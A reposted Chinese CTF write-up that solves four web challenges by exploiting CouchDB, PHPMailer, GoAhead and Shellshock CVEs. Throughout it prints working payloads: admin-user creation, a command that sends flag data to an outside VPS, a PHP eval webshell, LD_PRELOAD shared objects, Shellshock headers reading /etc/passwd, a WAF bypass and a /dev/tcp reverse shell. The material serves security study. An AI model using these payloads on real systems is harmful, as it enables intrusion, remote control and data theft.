溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

與CVE結(jié)合web題目的示例分析

發(fā)布時間:2021-12-22 20:56:12 來源:億速云 閱讀:160 作者:柒染 欄目:網(wǎng)絡(luò)安全

本篇文章給大家分享的是有關(guān)與CVE結(jié)合web題目的示例分析,小編覺得挺實用的,因此分享給大家學(xué)習(xí),希望大家閱讀完這篇文章后可以有所收獲,話不多說,跟著小編一起來看看吧。

0x00  前言

最近做題遇到了一些CVE的復(fù)現(xiàn),其中不乏一些好題,今天介紹的是如下4個與CVE結(jié)合的題目:

CVE-2017-12635(CouchDB)

CVE-2016-10033(PHPMailer)

CVE-2017-17562(GoAhead)

CVE-2014-6271(shellshock)

注:按照題目由簡到難的順序排列

0x01  CVE-2017-12635(CouchDB)

拿到題目后發(fā)現(xiàn)80端口無法訪問,于是掃了一波端口

發(fā)現(xiàn)5984開放

搜了一下,發(fā)現(xiàn)是CouchDB漏洞

然后發(fā)現(xiàn)2017的CVE:CVE-2017-12635

即由于CouchDB基于Erlang的JSON解析器和基于JavaScript的JSON解析器的不同,可以在數(shù)據(jù)庫中提交帶有用于訪問控制的角色的重復(fù)鍵的_users文檔,包括表示管理用戶的特殊情況_admin角色。 與CVE-2017-12636(遠(yuǎn)程執(zhí)行代碼)結(jié)合使用,可以使非管理員用戶能夠以數(shù)據(jù)庫系統(tǒng)用戶的身份訪問服務(wù)器上的任意shell命令。 


JSON解析器的差異會導(dǎo)致行為:如果JSON中有兩個角色密鑰可用,則第二個將用于授權(quán)文檔寫入,但第一個角色密鑰用于新創(chuàng)建的用戶的后續(xù)授權(quán)。 按照設(shè)計,用戶不能分配自己的角色。 該漏洞允許非管理員用戶給自己的管理員權(quán)限。 

詳細(xì)漏洞參照:

https://cert.#/warning/detail?id=0bc3f86b333bf27fe26fe6fdc8bda5f8

于是我們可以創(chuàng)建一個管理員用戶

curl -X PUT 'http://192.168.5.39:5984/_users/org.couchdb.user:sky' --data-binary '{"type": "user","name": "sky","roles": ["_admin"],"roles": [],"password": "sky"}'

然后我們就可以用管理員用戶登錄了,后面就是未授權(quán)漏洞的打法了:


curl -X PUT 'http://sky:sky@192.168.5.39:5984/_config/query_servers/cmd' -d '"/usr/bin/curl http://你的vps/cat /home/flag.txt"'

curl -X PUT 'http://sky:sky@192.168.5.39:5984/skytest

curl -X PUT 'http://sky:sky@192.168.5.39:5984/skytest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}

curl -X POST 'http://sky:sky@192.168.5.39:5984/skytest/_temp_view?limit=11' -d '{"language":"cmd","map":""}' -H 'Content-Type: application/json'

過一會兒,flag就打到了vps上:

flag{ByeBye_1VerY0n1_have8un}

0x02  CVE-2016-10033(PHPMailer)

拿到題目:http://192.168.5.69/

是一個留言板界面


與CVE結(jié)合web題目的示例分析

本以為是XSS,嘗試許久無果,又試了試文件泄露

拿到源碼,給出關(guān)鍵漏洞點:


<?php

if (isset($_POST['submit'])) {

    $email = isset($_POST['email']) ? trim($_POST['email']) : '';

    $title = isset($_POST['title']) ? trim($_POST['title']) : '';

    $content = isset($_POST['content']) ? trim($_POST['content']) : '';

    if (chkEmail($email) && chkTitle($title) && chkContent($content)) {

        $to = 'ambulong@vulnspy.com';

        $subject = "收到來自 {$email} 的留言";

        $msg = "{$title}\n{$content}\nFrom: {$email}";

        $headers = 'From: ' . $email . "\r\n" . 'Reply-To: ' . $email . "\r\n" . 'X-Mailer: PHP/' . phpversion();

        $options = sprintf('-f%s', $email);

        if (mail($to, $subject, $msg, $headers, $options)) {

            echo "留言成功";

        } else {

            echo "留言失敗";

        }

    }

    exit;

}

其中

mail($to, $subject, $msg, $headers, $options)

正是經(jīng)典的

CVE-2016-10033

PHPMailer 命令執(zhí)行漏洞

給出一篇分析鏈接:

http://blog.csdn.net/wyvbboy/article/details/53969278

簡述這個漏洞點,就是對傳給mail函數(shù)的第五個參數(shù)沒有正確過濾:

由于$options是通過$email拼接而來,我們可以使得$email中存在惡意代碼,即可獲取shell

嘗試:


email=

-sky@skysec.top -OqueueDirectory=/ -Xskyskysky.php

title=

<?php eval($_GET[sky]);?>

訪問

http://192.168.5.69/skyskysky.php

發(fā)現(xiàn)文件寫入成功


00040 <<< To: ambulong@vulnspy.com

00040 <<< Subject: 收到來自 -sky@skysec.top -OqueueDirectory=/ -Xskyskysky.php 的留言

00040 <<< X-PHP-Originating-Script: 0:index.php

00040 <<< From: -sky@skysec.top -OqueueDirectory=/ -Xskyskysky.php

00040 <<< Reply-To: -sky@skysec.top -OqueueDirectory=/ -Xskyskysky.php

00040 <<< X-Mailer: PHP/5.6.32

00040 <<< 

00040 <<< 00040 <<< skyskytest.phpskyskytest.phpskyskytest.phpskyskytest.phpskyskytest.phpskyskytest.phpskyskytest.php

00040 <<< From: -sky@skysec.top -OqueueDirectory=/ -Xskyskysky.php

00040 <<< [EOF]

00040 >>> collect: Cannot write ./dfw0S539g0000040 (bfcommit, uid=48, gid=48): Permission denied

00040 >>> queueup: cannot create queue file ./qfw0S539g0000040, euid=48, fd=-1, fp=0x0: Permission denied

嘗試一下命令執(zhí)行

view-source:http://192.168.5.69/skyskysky.php?sky=system(%22ls%22);

發(fā)現(xiàn)成功執(zhí)行


00040 <<< 123.php

flag.php

index.php

sky.php

skyskysky.php

skytest.php

sss.php

style.css

testsky.php

xxx.php

讀取flag


view-source:http://192.168.5.69/skyskysky.php?sky=system(%22cat%20flag.php%22);

00040 <<< <?php

//flag{d1663b0e859c1cb1705099fa560944c0}

?>

0x03  CVE-2017-17562(GoAhead)

這題拿到題目發(fā)現(xiàn)無法訪問,掃了下端口,發(fā)現(xiàn)是8080端口開放

進(jìn)去后可以看見Hello gogogo

感覺沒什么用,抓了個包看看,發(fā)現(xiàn)是goahead

于是搜了一波,發(fā)現(xiàn)有CVE:

GoAhead服務(wù)器 遠(yuǎn)程命令執(zhí)行漏洞(CVE-2017-17562)

該漏洞源于在初始化CGI腳本環(huán)境時使用了不受信的HTTP請求參數(shù),會對所有啟用了動態(tài)鏈接可執(zhí)行文件(CGI腳本)的用戶造成影響。在此過程中,當(dāng)CGI腳本調(diào)用glibc動態(tài)鏈接器時,特殊變量LD_PRELOAD可被注入濫用,從而導(dǎo)致遠(yuǎn)程代碼執(zhí)行。該漏洞是個典型的環(huán)境變量案例,能推廣應(yīng)用到其它不安全的軟件架構(gòu)漏洞發(fā)現(xiàn)中。

而更詳細(xì)的漏洞介紹,參照Freebuf的一篇文章

http://www.freebuf.com/vuls/158089.html

漏洞利用也非常簡單


payload.c

c

# PoC/payload.c

#include <unistd.h>

static void before_main(void) __attribute__((constructor));

static void before_main(void)

{

    write(1, "Hello: World!\n", 14);

}

然后gcc成so文件:gcc -shared -fPIC ./payload.c -o payload.so

然后攻擊

curl -X POST --data-binary @payload.so http://ip/hello.cgi?LD_PRELOAD=/proc/self/fd/0 -i

可以得到回顯

類似于如下:(當(dāng)時沒截圖= =隨便找了個差不多的)


HTTP/1.1 200 OK

Date: Sun Dec 17 13:08:20 2017

Transfer-Encoding: chunked

Connection: keep-alive

X-Frame-Options: SAMEORIGIN

Pragma: no-cache

Cache-Control: no-cache

hello:  World!

Content-type: text/html

只要出現(xiàn)hello:  World!就說明攻擊成功了

那么下面構(gòu)造我們的攻擊payload

首先是找文件的絕對路徑

c語言實現(xiàn)執(zhí)行命令的腳本網(wǎng)上一搜一大堆,我的沒保存,這里就不贅述了

最后發(fā)現(xiàn)是www目錄下的goahead文件夾

然后讀文件


c

#include "stdio.h"  

#include <unistd.h>

#include <stdlib.h>

#include <sys/socket.h>

#include <netinet/in.h>

static void before_main(void) __attribute__((constructor));

static void before_main(void){

char filename[] = "/var/www/goahead/cgi-bin/hello.cgi";

     FILE *fp;

     char StrLine[1024];            

     if((fp = fopen(filename,"r")) == NULL)

     {

         printf("error!");

         return -1;

     }

     while (!feof(fp))

     {

         fgets(StrLine,1024,fp);  

         printf("%s\n", StrLine);

     }

     fclose(fp);                     

}

即可拿到flag


curl -X POST --data-binary @payload.so http://192.168.5.42:8080/cgi-bin/hello.cgi?LD_PRELOAD\=/proc/self/fd/0 -i

HTTP/1.1 200 OK

Server: GoAhead-http

Date: Sun Jan 21 04:31:28 2018

Transfer-Encoding: chunked

Connection: keep-alive

X-Frame-Options: SAMEORIGIN

Pragma: no-cache

Cache-Control: no-cache

Content-Type:  text/html

Hello GOGOGO#!/usr/bin/perl

print "Content-Type: text/html\n\n";

print "Hello GOGOGO";

#flag{ef9f1f880e1f001bedd32bfc52674128}

0x04  CVE-2014-6271(shellshock)

給出題目鏈接:

https://command-executor.hackme.inndy.tw/

個人認(rèn)為這是一道非常好的題目,首先說一下考察點

1.文件包含讀源碼

2.代碼分析結(jié)合CVE

3.CVE導(dǎo)致的命令執(zhí)行

4.寫入文件/反彈shell

5.思考c文件的解法

6.重定向獲取flag

拿到題目后隨便點一點:

https://command-executor.hackme.inndy.tw/index.php?func=ls

https://command-executor.hackme.inndy.tw/index.php?func=cmd

https://command-executor.hackme.inndy.tw/index.php?func=untar

然后在

與CVE結(jié)合web題目的示例分析

發(fā)現(xiàn)可以遍歷目錄,但限制的很死,只能執(zhí)行l(wèi)s和env,但是此時發(fā)現(xiàn)了有趣的一點


-rw-r--r-- 1 root root   1163 Jan  9 11:05 cmd.php

-rw-r--r-- 1 root root   2201 Jan  9 11:32 index.php

-rw-r--r-- 1 root root    515 Jan  9 11:05 ls.php

-rw-r--r-- 1 root root    658 Jan 19 08:25 man.php

-rw-r--r-- 1 root root    588 Jan  9 11:05 untar.php

這里的ls,untar,cmd很可能是前面func參數(shù)包含進(jìn)來的

隨即想到試一試文件包含,看看可否讀文件

https://command-executor.hackme.inndy.tw/index.php?func=php://filter/read=convert.base64-encode/resource=index

果不其然,可以拿到文件源碼,這里給出最關(guān)鍵的index.php,其余的幫助并不大


index.php

<?php

$pages = [

    ['man', 'Man'],

    ['untar', 'Tar Tester'],

    ['cmd', 'Cmd Exec'],

    ['ls', 'List files'],

];

function fuck($msg) {

    header('Content-Type: text/plain');

    echo $msg;

    exit;

}

$black_list = [

    '\/flag', '\(\)\s*\{\s*:;\s*\};'

];

function waf($a) {

    global $black_list;

    if(is_array($a)) {

        foreach($a as $key => $val) {

            waf($key);

            waf($val);

        }

    } else {

        foreach($black_list as $b) {

            if(preg_match("/$b/", $a) === 1) {

                fuck("$b detected! exit now.");

            }

        }

    }

}

waf($_SERVER);

waf($_GET);

waf($_POST);

function execute($cmd, $shell='bash') {

    system(sprintf('%s -c %s', $shell, escapeshellarg($cmd)));

}

foreach($_SERVER as $key => $val) {

    if(substr($key, 0, 5) === 'HTTP_') {

        putenv("$key=$val");

    }

}

$page = '';

if(isset($_GET['func'])) {

    $page = $_GET['func'];

    if(strstr($page, '..') !== false) {

        $page = '';

    }

}

if($page && strlen($page) > 0) {

    try {

        include("$page.php");

    } catch (Exception $e) {

    }

}

注意到一個很可疑的函數(shù)putenv()

結(jié)合env可以很快聯(lián)想到2014年的一個重大漏洞:

CVE-2014-6271

破殼(ShellShock)漏洞

給出Freebuf的分析鏈接

http://www.freebuf.com/articles/system/45390.html

確定了漏洞,就是嘗試可用exp的時候了,這時候可以容易google到

這樣一篇文章:

https://security.stackexchange.com/questions/68325/shellshock-attack-scenario-exploiting-php

其中重點的一段如下:

與CVE結(jié)合web題目的示例分析

可以清楚看到這樣一個payload:

wget --header="X-Exploit: () { :; }; echo Hacked" -q -O -  http://127.0.0.1/shock.php

并且和這個測試樣本和我們題目中給出的代碼十分相似:


foreach($_SERVER as $key => $val) {

    if(substr($key, 0, 5) === 'HTTP_') {

        putenv("$key=$val");

    }

}

于是我們先去嘗試一下適用性:

與CVE結(jié)合web題目的示例分析

可以發(fā)現(xiàn)我們被waf攔截了:

\(\)\s*\{\s*:;\s*\}; detected! exit now.

回去分析index.php的waf過濾點


$black_list = [

    '\/flag', '\(\)\s*\{\s*:;\s*\};'

];

function waf($a) {

    global $black_list;

    if(is_array($a)) {

        foreach($a as $key => $val) {

            waf($key);

            waf($val);

        }

    } else {

        foreach($black_list as $b) {

            if(preg_match("/$b/", $a) === 1) {

                fuck("$b detected! exit now.");

            }

        }

    }

}

可以看到如上一個黑名單,

我們的

X-Exploit: () { :; };

正是被這個黑名單禁止了,但是這樣的waf存在極大隱患,我們只要加個空格就可以輕松繞過:

X-Exploit: () { : ; };

我們再次攻擊一次試試:

wget --header="X-Exploit: () { : ; }; echo Hacked" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"

與CVE結(jié)合web題目的示例分析

可以看到Hacked成功回顯

于是我們開始執(zhí)行命令,需要注意的是,shellshock執(zhí)行命令,需要加上/bin/

比如cat命令要寫成/bin/cat

直接cat是不能成功的

于是我們嘗試讀/etc/passwd

wget --header="X-Exploit: () { : ; }; /bin/cat /etc/passwd" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"

與CVE結(jié)合web題目的示例分析

可以發(fā)現(xiàn)命令成功執(zhí)行,所以下面我們的思路很清晰,找到flag并讀取就行了

而之前提到,這個題目本身自帶ls,所以可以輕松查目錄,容易發(fā)現(xiàn)flag在根目錄


https://command-executor.hackme.inndy.tw/index.php?func=ls&file=../../../../../../

-r--------   1 flag root   37 Jan  9 11:05 flag

-rwsr-xr-x   1 flag root 9080 Jan 19 08:27 flag-reader

-rw-r--r--   1 root root  653 Jan  9 11:05 flag-reader.c

我們嘗試cat一下flag文件

wget --header="X-Exploit: () { : ; }; /bin/cat ../../../../../../flag" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"

此時又觸發(fā)了waf

回顯打出

\/flag detected! exit now.

我們依舊被上面那個黑名單給禁止了!

那么有沒有辦法繞過/flag呢?

這里給出2個思考路線:

1.shell拼接,比如a=/fl;b=ag;c=a+b這樣(此處寫的不嚴(yán)謹(jǐn),有興趣可以自己去研究一下)

2.通配符繞過

這里我選擇第二點:

wget --header="X-Exploit: () { : ; }; /bin/cat ../../../../../../?lag" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"

但這次并沒有回顯打出,回去查看文件權(quán)限

-r--------   1 flag root   37 Jan  9 11:05 flag

發(fā)現(xiàn)只有root才能讀

這時就郁悶了,但是下面還有一個c寫的flag-reader引起了我的關(guān)注,我們讀一下他

wget --header="X-Exploit: () { : ; }; /bin/cat ../../../../../../?lag-reader.c" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"

打出回顯:


#include <unistd.h>

#include <syscall.h>

#include <fcntl.h>

#include <string.h>

int main(int argc, char *argv[])

{

char buff[4096], rnd[16], val[16];

if(syscall(SYS_getrandom, &rnd, sizeof(rnd), 0) != sizeof(rnd)) {

write(1, "Not enough random\n", 18);

}

setuid(1337);

seteuid(1337);

alarm(1);

write(1, &rnd, sizeof(rnd));

read(0, &val, sizeof(val));

if(memcmp(rnd, val, sizeof(rnd)) == 0) {

int fd = open(argv[1], O_RDONLY);

if(fd > 0) {

int s = read(fd, buff, 1024);

if(s > 0) {

write(1, buff, s);

}

close(fd);

} else {

write(1, "Can not open file\n", 18);

}

} else {

write(1, "Wrong response\n", 16);

}

}

審計這個c,大致原理就是:1秒之內(nèi)把他輸出的再輸入回去,就可以打出文件內(nèi)容

此時我們的思路很簡單,運行這個c,再把這個c輸出在1s內(nèi)再輸回去,但是純靠這樣的交互,速度極慢,所以容易想到,要不要拿個shell?

這里給出2種拿shell的思路

1.反彈shell

2.找到可寫目錄,并寫入文件,利用文件包含即可

這里我選擇反彈shell(因為后面還會寫文件,所以這里選擇反彈,就不寫了)

wget --header="X-Exploit: () { : ; }; /bin/bash -i >& /dev/tcp/你的ip/11122 0>&1" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"

然后一會兒就能收到shell

與CVE結(jié)合web題目的示例分析

而下面就只要解決如何在1s內(nèi)輸入c文件輸出的結(jié)果這個問題了

這里我選擇了linux下的重定向,我們將輸出寫到某個文件中,再自動輸入即可,這樣即可達(dá)到目的

我們先去探索可寫目錄,容易發(fā)現(xiàn)/var/tmp具有寫權(quán)限

我們測試一下

wget --header="X-Exploit: () { : ; }; echo 'sky' > /var/tmp/sky" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"

與CVE結(jié)合web題目的示例分析

即可發(fā)現(xiàn)該目錄可寫

我的做法:

flag-reader flag > /var/tmp/skyflag < /var/tmp/skyflag

即可在skyflag中讀到flag

FLAG{W0w U sh0cked m3 by 5h4115h0ck}

以上就是與CVE結(jié)合web題目的示例分析,小編相信有部分知識點可能是我們?nèi)粘9ぷ鲿姷交蛴玫降?。希望你能通過這篇文章學(xué)到更多知識。更多詳情敬請關(guān)注億速云行業(yè)資訊頻道。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI